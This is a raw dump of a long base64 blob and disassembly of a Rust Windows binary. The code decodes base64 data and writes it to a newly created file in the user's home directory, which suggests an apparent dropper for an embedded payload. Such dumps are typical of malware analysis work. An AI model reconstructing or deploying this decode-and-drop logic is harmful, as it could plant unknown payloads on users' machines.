1uQfzx5cskrHpC5uzIter1Vi6Lxh6Fca4ImjoHGLZBBNzZ36m2HecoNuj_k79d3XAly6oR37Jmk_lW9lHIwS6qTSMHBD0HFNsNC_kLe_aUwcF0xTuIRlFpVK3ut313hy42z3de59a_NtM0L29Yef49gtdlfwb3UeOtIkHrbE8uiaKGn7PvQbi98l1RyBPTZkSMrEBy3Uw1MaE5pJ3Mw6klbDE62l2L397_FszLMoMR_3hkomnDXHqtDqu4nJiDOvW9e6MckERAlUsVZnqZHQw0qYmKfBlNQDfvx_7yE6pVISZaJI2PCdJi67vVU1PzwlWOmQ2kHZe61EtHcLJB_6aLDQr1kuKlNW4Tt7GLh4eUv6Pe_wWwWUCNyx_HJ2wBQlbg_TgELmCKXa84PQMDTIfNe2iejII_ENiJKpGV6mWXr59n53NJVFS4dc1kQOiBm6YcNn0THqjK10kzoqmS755mDweqUehUEd77Wexg9fLbfhTqFlXLQEbJIs_jhpeFUAXPhGJr7Ffisx3hPeosuSUAUvXAcPrHMLp5g0aEvNETDfnMWLAjPSl4ZgbzD9KcLYUqgA7ABeMMmAgRd65NRHhZ8I4MA9BUFwNyqCZXgA70QeJmJpipFnF0UIdP0U5wZBmG_WtAxUQq_SUTwaFSps9DQVpbA2NHunqaf_3KW3zg7UNACjn9RbowReW19iCWYBohFOOgSMXkCpQaj_ixfWaHAok_N7smA9hukkslq3DBvmWX5lVnCCVPOiUNbGen_ql4sgKQzKxuH3SXoCSTFVkfVeMD3WxA66s88KLbvDEkdHbju8WFqwH9AxX3CVDYDLEAHh5AtDyIleARMR4uss47uNMPzi8kpjwSQpopwCR39Kl1ncqSTiPucUPmh8D9YxofTdfgSpTSx_UZgRFqbFSn_YfMx09Ukkl9jRFFwf72Du08FjgvzDdvAolZ5shm5yYdRHyNahb0rb0UHLly3HEnTA0u01mZ2DxdOkGs17uHjebGrY9GtxjBanQAYbOc0CpghD7zzAd6S6jVZ8BCgiHWnaophOX3tUk9ZyRi4TXa1k1MmmejpHDFnrV0lmJOFXEgqwgwSXAaNs75S5S_amzljSUHHZKVo79WjFf_nkYcdalBV1o9nd119VxBb2JYIOXVmQV5TjlPl0Ogf2cjaIyRGecvu7wNgPiwrOXOlvRTPExheDevKPpM65CTngCFfj1cJ9mWdphLyWoL06xd64Z7_3LXKEDyDeCAxV6gjVJ0RMq7IWZU3k0lvPu_EZx9wXLWwgpr5T9PgydKoQYBDjCtvOj8gumjmCX3dG16p7ke2fa3XEt3K3aDDGsJWOPqhimQibugpEEgAudSsUT5Hqx6kanCOS3iQw91a5owDu9XqLt8sWNYLPqpQvJ2y11q2BOC3lYGRbhYxYy6zXu5MpXX2sPqI7Oxy99zL2K90fC0Fo1fiJ34o61ODUJ0PtFVTmz65HCBPSFPShhACL0H0iNyzTGBb1J75dUpyl_nkHNHIcDiVgmaw_HYUmWAuvEF9VTsELILGigD0O8qj92bLtERQbtg_zDgCny3KfPZ9wJrlZzsxRmfSrMhhF4OCFVYJo109k5ka0_jWV1MHDG1tFSYb7gdXZ2NHe99fsVzwftnH50YiiWFrDGkpyLoORxfE7KBsCtZv08QY_d2JYD_W2IR7X2FZXTPgfBE85PoQ6sxo52ZEWrAimbH7Ji59qWmUJAZPrVHd8VERexlvr6rxJHBKrI8EOOG73Yd_PfpqSZL1PcK1jk0JFbrozfCvKd5eQpA8BxDKhU36PGItj95N9_cLAmij7aa0P0Dqv2lNiEezYbcpbcEFEnUwi3Q4N0Ju20jrZy5K2aYYxg7HYCp2yVzPr_UtD697bSBWsyGBBsxcoHOO4y5booITlcWjRSopko_egRwfegg8zkoOrDdrKHcAsktAslMyrW0RAE_fFo3v0lvqlvRs1vxv25RwlVu65YzCYb0E6HJE6_8Xd9ZtK9JZft9UhwWD1l1nOB0VyAc80NzDdhgYZNr_BUO1RPSqfxjn7022mm3s_8OTJWkQ5rTo6DtU_NsTJFe987QboXaVdctu0piwWpaAZFxNjcl8uiqT1DDsxcpldgn6i6_7bsp3O8MuTBNGwqH3Ox
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov edx, 0x5d1fd8
mov r8d, 0x5d1fd0
call sym.core::slice::index::__impl_core::ops::index::Index_I__for__T__::index::h33401f10c5b5cef2
add rdx, rax
xor r13d, r13d
xor r14d, r14d
xor r8d, r8d
xor ecx, ecx
xor r10d, r10d
xor r9d, r9d
cmp rax, rdx
je 0x140003772
lea r11, [rcx + 1]
movzx esi, byte [rax]
inc rax
cmp rsi, 0x3d
jne 0x140003743
test cl, 2
je 0x140003db2
test r10d, r10d
cmove r9, rcx
inc r10d
mov rcx, r11
jmp 0x140003716
test r10d, r10d
jg 0x140003e98
movzx edi, byte [rsi + rbp]
cmp rdi, 0xff
je 0x140003e87
inc r14
imul ecx, r14d, 0x3a
shl rdi, cl
or r8, rdi
mov r13d, esi
mov rcx, r11
jmp 0x140003716
cmp r14, 9
jae 0x140003ddc
mov eax, 0x1dd
bt eax, r14d
jae 0x140003ddc
lea rax, [0x14061fc58]
mov eax, dword [rax + r14*4]
mov rdx, r8
mov ecx, eax
shl rdx, cl
test rdx, rdx
movabs r10, 0x8000000000000000
jne 0x140003e78
shr eax, 3
neg rax
mov r14d, 0x45d7dc
mov edx, 0x38
lea rcx, [rax + r14]
cmp rcx, 0x45d7dc
je 0x1400037fc
cmp r14, qword [rsp + 0x88]
jae 0x140003b61
mov ecx, edx
and cl, 0x38
mov r9, r8
shr r9, cl
mov rcx, qword [rsp + 0x100]
mov byte [rcx + r14], r9b
inc r14
add edx, 0xfffffff8
jmp 0x1400037c2
mov rax, qword [rsp + 0x190]
cmp rax, r14
cmovb r14, rax
mov rbx, qword [rsp + 0x180]
mov dil, byte [rsp + 0x188]
mov r13b, byte [rsp + 0x189]
mov eax, dword [rsp + 0x18a]
movzx esi, word [rsp + 0x18e]
shl rsi, 0x20
or rsi, rax
cmp rbx, r10
je 0x140003cd7
movzx eax, dil
movzx ecx, r13b
shl rcx, 8
or rcx, rax
shl rsi, 0x10
lea r8, [rsp + 0x180]
and dword [r8], 0
or rsi, rcx
mov rdi, qword [rsp + 0x298]
xorps xmm0, xmm0
movups xmmword [r8 + 8], xmm0
mov dword [r8 + 0x18], 7
and qword [r8 + 0x1c], 0
mov rdx, qword [rsp + 0x2a0]
and word [r8 + 0x24], 0
mov al, 1
mov byte [r8 + 0x21], al
mov byte [r8 + 0x24], al
mov byte [r8 + 0x23], al
mov rcx, rdi
call dbg.open
test rax, rax
je 0x1400038b2
mov r15, rdx
jmp 0x140003974
mov qword [rsp + 0x38], rdx
test r14, r14
je 0x140003967
lea r12, [rsp + 0x180]
lea rbp, [0x14004b010]
mov r13, rsi
mov rcx, r12
mov rdx, qword [rsp + 0x38]
mov r8, r13
mov r9, r14
call dbg.synchronous_write
cmp qword [rsp + 0x180], 0
je case.default.0x140003906
mov r15, qword [rsp + 0x188]
mov eax, r15d
and eax, 3
movsxd rax, dword [rbp + rax*4]
add rax, rbp
jmp rax
cmp byte [r15 + 0x10], 0x23
je 0x140003951
jmp 0x14000396a
mov rcx, qword [rsp + 0x188]
test rcx, rcx
je 0x140003b55
mov rax, r14
sub rax, rcx
jb 0x140003ee7
add r13, rcx
mov r14, rax
jmp 0x14000395e
lea rcx, [rsp + 0x188]
call dbg.drop_in_place<std::io::error::Error>
test r14, r14
jne 0x1400038d2
xor r15d, r15d
mov rcx, qword [rsp + 0x38]
call fcn.140047744
lea rdx, [0x14061fc40]
mov rcx, r15
call sym.core::result::Result_T_E_::expect::hdb88796fd2f658e4
mov rcx, rbx
mov rdx, rsi
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
mov rcx, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x140]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x148]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
mov rcx, qword [rsp + 0x2b0]
mov rdx, qword [rsp + 0x2b8]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
mov rcx, qword [rsp + 0x248]
mov rdx, qword [rsp + 0x250]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
mov rcx, qword [rsp + 0x108]
call fcn.140047744
mov rcx, qword [rsp + 0x2c8]
mov rdx, qword [rsp + 0x2d0]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
mov rcx, qword [rsp + 0x290]
mov rdx, rdi
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
mov rcx, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x268]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
mov rcx, qword [rsp + 0x168]
mov rdx, qword [rsp + 0x160]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
nop
add rsp, 0x328
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call sub.KERNEL32.dll_GetLastError
mov esi, eax
jmp 0x1400024fe
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
xor ecx, ecx
xor edx, edx
call dbg.panic_bounds_check
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov ecx, 2
mov edx, 2
call dbg.panic_bounds_check
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov ecx, 3
mov edx, 3
call dbg.panic_bounds_check
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov ecx, 4
mov edx, 4
call dbg.panic_bounds_check
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov ecx, 5
mov edx, 5
call dbg.panic_bounds_check
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov ecx, 6
mov edx, 6
call dbg.panic_bounds_check
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov ecx, 7
mov edx, 7
call dbg.panic_bounds_check
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov ecx, 1
mov edx, 1
call dbg.panic_bounds_check
call sub.KERNEL32.dll_GetLastError
mov rbx, rax
shl rbx, 0x20
or rbx, 2
mov qword [rsp + 0x40], rbx
cmp eax, 0x6d
je 0x140003b2c
cmp eax, 0x26
jne 0x1400024be
lea rcx, [rsp + 0x40]
call dbg.drop_in_place<std::io::error::Error>
and qword [rdi], 0
xor ebx, ebx
jmp 0x1400024be
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov ecx, 1
mov rdx, r15
call dbg.panic_bounds_check
lea r15, str.0b_
jmp 0x14000396a
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov rcx, r14
mov rdx, qword [rsp + 0x88]
call dbg.panic_bounds_check
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_textcode_0.2.2_srcgb2312.rs
mov edx, 0x6100
call dbg.panic_bounds_check
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrarycore_srcio_borrowed_buf.rs_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrary_alloc_srccollections_btree_navigate.rs
lea r8, [0x140622dc8]
mov edx, 0x2b
call dbg.panic
xor edi, edi
mov r14, qword [rsp + 0x28]
jmp 0x140003cc2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrarycore_srcio_borrowed_buf.rs_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrary_alloc_srccollections_btree_navigate.rs
lea r8, [0x140622df8]
jmp 0x140003b97
mov eax, 1
jmp 0x140003cb8
mov eax, 2
jmp 0x140003cb8
mov eax, 3
jmp 0x140003cb8
mov eax, 4
jmp 0x140003cb8
mov eax, 5
jmp 0x140003cb8
mov eax, 6
jmp 0x140003cb8
mov eax, 7
jmp 0x140003cb8
mov eax, 8
jmp 0x140003cb8
mov eax, 9
jmp 0x140003cb8
mov eax, 0xa
jmp 0x140003cb8
mov eax, 0xb
jmp 0x140003cb8
mov eax, 0xc
jmp 0x140003cb8
mov eax, 0xd
jmp 0x140003cb8
mov eax, 0xe
jmp 0x140003cb8
mov eax, 0xf
jmp 0x140003cb8
mov eax, 0x10
jmp 0x140003cb8
mov eax, 0x11
jmp 0x140003cb8
mov eax, 0x12
jmp 0x140003cb8
mov eax, 0x13
jmp 0x140003cb8
mov eax, 0x14
jmp 0x140003cb8
mov eax, 0x15
jmp 0x140003cb8
mov eax, 0x16
jmp 0x140003cb8
mov eax, 0x17
jmp 0x140003cb8
mov eax, 0x18
jmp 0x140003cb8
mov eax, 0x19
jmp 0x140003cb8
mov eax, 0x1a
jmp 0x140003cb8
mov eax, 0x1b
jmp 0x140003cb8
mov eax, 0x1c
jmp 0x140003cb8
mov eax, 0x1d
jmp 0x140003cb8
mov eax, 0x1e
jmp 0x140003cb8
mov eax, 0x1f
mov r14, qword [rsp + 0x28]
or r14, rax
xor edi, edi
mov rcx, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x188]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
lea r8, [rsp + 0x180]
mov byte [r8], dil
mov byte [r8 + 1], r13b
mov dword [r8 + 2], esi
shr rsi, 0x20
mov word [r8 + 6], si
mov qword [r8 + 8], r14
lea rax, [0x14061fc28]
mov qword [rsp + 0x20], rax
lea rcx, [0x14061fc08]
lea r9, sym.core::ptr::drop_in_place_usize_::hbf3a3a8afd0c7080
mov edx, 0x1e
call dbg.unwrap_failed
mov r14, qword [rsp + 0x28]
or r14, 1
jmp 0x140003cc0
mov r14, qword [rsp + 0x28]
or r14, 2
jmp 0x140003cc0
mov r14, qword [rsp + 0x28]
or r14, 3
jmp 0x140003cc0
mov r14, qword [rsp + 0x28]
or r14, 4
jmp 0x140003cc0
mov r14, qword [rsp + 0x28]
or r14, 5
jmp 0x140003cc0
mov r14, qword [rsp + 0x28]
or r14, 6
jmp 0x140003cc0
xor edi, edi
mov r14d, 0x5d1fc7
jmp 0x140003cc2
mov r14, rbx
jmp 0x140003cc0
mov eax, 1
jmp 0x140003daa
mov eax, 2
jmp 0x140003daa
mov eax, 3
jmp 0x140003daa
mov eax, 4
jmp 0x140003daa
mov eax, 5
jmp 0x140003daa
mov eax, 6
jmp 0x140003daa
mov eax, 7
mov r14, rbx
jmp 0x140003cbd
test r10d, r10d
cmovg rcx, r9
add rcx, 0x5d1fd0
mov r13b, 0x3d
xor edi, edi
mov r14, rcx
jmp 0x140003cc2
lea r8, [0x14004d358]
mov rdx, r15
call dbg.slice_start_index_len_fail
call sym.core::panicking::unreachable_display::hf69326c8ca7c6f18
call sub.ole32.dll_CoTaskMemFree
lea rcx, str.Unable_to_get_home_directorysrcmain.rs
lea r8, [0x14004d928]
mov edx, 0x1c
call dbg.expect_failed
lea r8, [rsp + 0x180]
mov rax, qword [rsp + 0x108]
mov qword [r8], rax
lea rax, [0x14004d9b8]
mov qword [rsp + 0x20], rax
lea rcx, str.Unable_to_create_file
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::hecc97c7777dc258b
mov edx, 0x15
call dbg.unwrap_failed
mov ecx, 1
mov edx, 0xb
call dbg.handle_alloc_error
mov r12, qword [rsp + 0x140]
lea r8, [rsp + 0x40]
mov qword [r8], r12
lea rax, [0x14004dc18]
mov qword [rsp + 0x20], rax
lea rcx, [0x14004dbfb]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::hecc97c7777dc258b
mov edx, 0x19
call dbg.unwrap_failed
add r14, 0x5d1fcf
mov dil, 2
jmp 0x140003cc2
add rcx, 0x5d1fd0
xor edi, edi
mov r13d, esi
jmp 0x140003dc5
add r9, 0x5d1fd0
mov r13b, 0x3d
xor edi, edi
mov r14, r9
jmp 0x140003cc2
mov rbx, qword [rsp + 0x48]
mov rcx, r14
call fcn.140047744
lea r8, [rsp + 0x40]
mov qword [r8], rbx
lea rax, [0x140624270]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, dbg.drop_in_place_std::io::error::Error_
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x140003f62
lea r8, [0x140623d68]
mov rdx, r14
call dbg.slice_start_index_len_fail
jmp 0x140003f62
mov rax, qword [rsp + 0x48]
lea r8, [rsp + 0x90]
mov qword [r8], rax
lea rax, [0x140624240]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, dbg.drop_in_place_std::io::error::Error_
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x140003f62
mov rax, qword [rsp + 0x48]
lea r8, [rsp + 0x90]
mov qword [r8], rax
lea rax, [0x140624258]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, dbg.drop_in_place_std::io::error::Error_
mov edx, 0x2b
call dbg.unwrap_failed
ud2